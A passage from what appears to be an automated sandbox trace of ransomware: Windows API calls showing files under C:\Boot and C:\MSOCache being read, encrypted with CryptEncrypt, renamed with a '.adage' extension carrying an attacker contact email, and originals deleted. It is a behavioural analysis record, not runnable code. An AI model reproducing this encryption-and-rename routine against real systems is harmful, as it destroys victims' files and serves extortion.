nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0067.169] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x1c3000, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0067.169] ReadFile (in: hFile=0x1a4, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0067.184] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f788*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7f4 | out: phKey=0x304f7f4*=0x4d88a0) returned 1 [0067.184] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0067.185] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050) returned 1 [0067.192] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0067.192] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7d0 | out: lpNewFilePointer=0x0) returned 1 [0067.192] WriteFile (in: hFile=0x1a4, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x304f7e0, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e0*=0xc0102, lpOverlapped=0x0) returned 1 [0067.399] SetEndOfFile (hFile=0x1a4) returned 1 [0067.399] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x1c3000, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0067.399] WriteFile (in: hFile=0x1a4, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0067.401] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xabaaa, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0067.401] WriteFile (in: hFile=0x1a4, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0067.403] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0067.403] WriteFile (in: hFile=0x1a4, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0067.405] CloseHandle (hObject=0x1a4) returned 1 [0067.405] SetEvent (hEvent=0x138) returned 1 [0067.406] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0067.406] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0067.718] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=2109440) returned 1 [0067.718] CloseHandle (hObject=0x1a4) returned 1 [0067.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0067.718] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0067.718] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0067.719] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0067.719] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0067.719] ReadFile (in: hFile=0x1a4, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0067.722] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xabaaa, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0067.722] ReadFile (in: hFile=0x1a4, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0067.728] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x1c3000, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0067.728] ReadFile (in: hFile=0x1a4, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0067.742] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f788*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7f4 | out: phKey=0x304f7f4*=0x4d87a0) returned 1 [0067.742] CryptSetKeyParam (hKey=0x4d87a0, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0067.743] CryptEncrypt (in: hKey=0x4d87a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050) returned 1 [0067.849] CryptDestroyKey (hKey=0x4d87a0) returned 1 [0067.849] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7d0 | out: lpNewFilePointer=0x0) returned 1 [0067.849] WriteFile (in: hFile=0x1a4, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x304f7e0, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e0*=0xc0102, lpOverlapped=0x0) returned 1 [0067.874] SetEndOfFile (hFile=0x1a4) returned 1 [0067.874] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x1c3000, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0067.874] WriteFile (in: hFile=0x1a4, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0067.876] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xabaaa, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0067.876] WriteFile (in: hFile=0x1a4, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0067.878] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0067.878] WriteFile (in: hFile=0x1a4, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0067.880] CloseHandle (hObject=0x1a4) returned 1 [0067.880] SetEvent (hEvent=0x138) returned 1 [0067.882] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0067.882] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 47 os_tid = 0xfe0 [0049.993] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2ae73d8 [0049.993] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2af73e0 [0049.993] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x28) returned 0xab70c8 [0049.993] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x110102) returned 0x3570020 [0049.994] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x50) returned 0xab70f8 [0049.994] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe88*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afef0 | out: phKey=0x31afef0*=0x4d2390) returned 1 [0049.994] CryptSetKeyParam (hKey=0x4d2390, dwParam=0x1, pbData=0x31afed8, dwFlags=0x0) returned 1 [0049.994] CryptDecrypt (in: hKey=0x4d2390, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab70f8, pdwDataLen=0x31afea4 | out: pbData=0xab70f8, pdwDataLen=0x31afea4) returned 1 [0049.994] CryptDestroyKey (hKey=0x4d2390) returned 1 [0049.994] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0049.994] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7515d620 [0049.994] Wow64DisableWow64FsRedirection (in: OldValue=0x31aff40 | out: OldValue=0x31aff40*=0x0) returned 1 [0049.995] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab70f8 | out: hHeap=0xab0000) returned 1 [0049.995] ResetEvent (hEvent=0x13c) returned 1 [0049.995] SetEvent (hEvent=0x140) returned 1 [0049.995] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0049.995] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0050.025] GetFileSizeEx (in: hFile=0x134, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=0) returned 1 [0050.025] CloseHandle (hObject=0x134) returned 1 [0050.026] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) returned 0x0 [0050.067] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0050.067] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.067] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=87616) returned 1 [0050.067] CloseHandle (hObject=0x170) returned 1 [0050.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0050.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.068] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.068] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0050.068] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.072] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=91712) returned 1 [0050.072] CloseHandle (hObject=0x170) returned 1 [0050.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0050.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.072] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.072] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0050.072] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.072] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=85056) returned 1 [0050.072] CloseHandle (hObject=0x170) returned 1 [0050.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0050.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.073] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.073] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0050.073] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.076] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=43600) returned 1 [0050.076] CloseHandle (hObject=0x170) returned 1 [0050.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0050.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.076] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.076] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) returned 0x0 [0050.085] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0050.085] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0050.167] GetFileSizeEx (in: hFile=0x134, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=1984228) returned 1 [0050.167] CloseHandle (hObject=0x134) returned 1 [0050.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0050.167] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0050.167] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0050.167] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0050.167] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.735] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=202928) returned 1 [0050.735] CloseHandle (hObject=0x17c) returned 1 [0050.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0050.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ose.exe.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\ose.exe.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.736] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.736] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe80 | out: lpNewFilePointer=0x0) returned 1 [0050.736] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe80 | out: lpNewFilePointer=0x0) returned 1 [0050.736] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ose.exe.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\ose.exe.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0050.736] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe38*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afe94 | out: phKey=0x31afe94*=0x4d52c8) returned 1 [0050.736] CryptSetKeyParam (hKey=0x4d52c8, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0050.736] ReadFile (in: hFile=0x17c, lpBuffer=0x3570020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x31afebc, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesRead=0x31afebc*=0x318b0, lpOverlapped=0x0) returned 1 [0051.504] CryptEncrypt (in: hKey=0x4d52c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe58*=0x318c0, dwBufLen=0x318c0 | out: pbData=0x3570020*, pdwDataLen=0x31afe58*=0x318c0) returned 1 [0051.506] WriteFile (in: hFile=0x180, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0x318c0, lpNumberOfBytesWritten=0x31afea0, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afea0*=0x318c0, lpOverlapped=0x0) returned 1 [0051.511] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe2c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afe98 | out: phKey=0x31afe98*=0x4d5308) returned 1 [0051.511] CryptSetKeyParam (hKey=0x4d5308, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0051.511] CryptEncrypt (in: hKey=0x4d5308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe58*=0x30, dwBufLen=0x30 | out: pbData=0x3570020*, pdwDataLen=0x31afe58*=0x30) returned 1 [0051.511] CryptDestroyKey (hKey=0x4d5308) returned 1 [0051.511] WriteFile (in: hFile=0x180, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x31afea0, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afea0*=0xe2, lpOverlapped=0x0) returned 1 [0051.511] CryptDestroyKey (hKey=0x4d52c8) returned 1 [0051.511] CloseHandle (hObject=0x17c) returned 1 [0051.511] CloseHandle (hObject=0x180) returned 1 [0051.514] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\ose.exe")) returned 1 [0051.517] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0051.517] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0051.517] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=9833128) returned 1 [0051.517] CloseHandle (hObject=0x180) returned 1 [0051.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0051.517] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\osetup.dll.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\osetup.dll.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0051.518] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\osetup.dll.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\osetup.dll.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0051.518] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0051.518] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0051.518] ReadFile (in: hFile=0x180, lpBuffer=0x3570058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x3570058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0051.792] SetFilePointerEx (in: hFile=0x180, 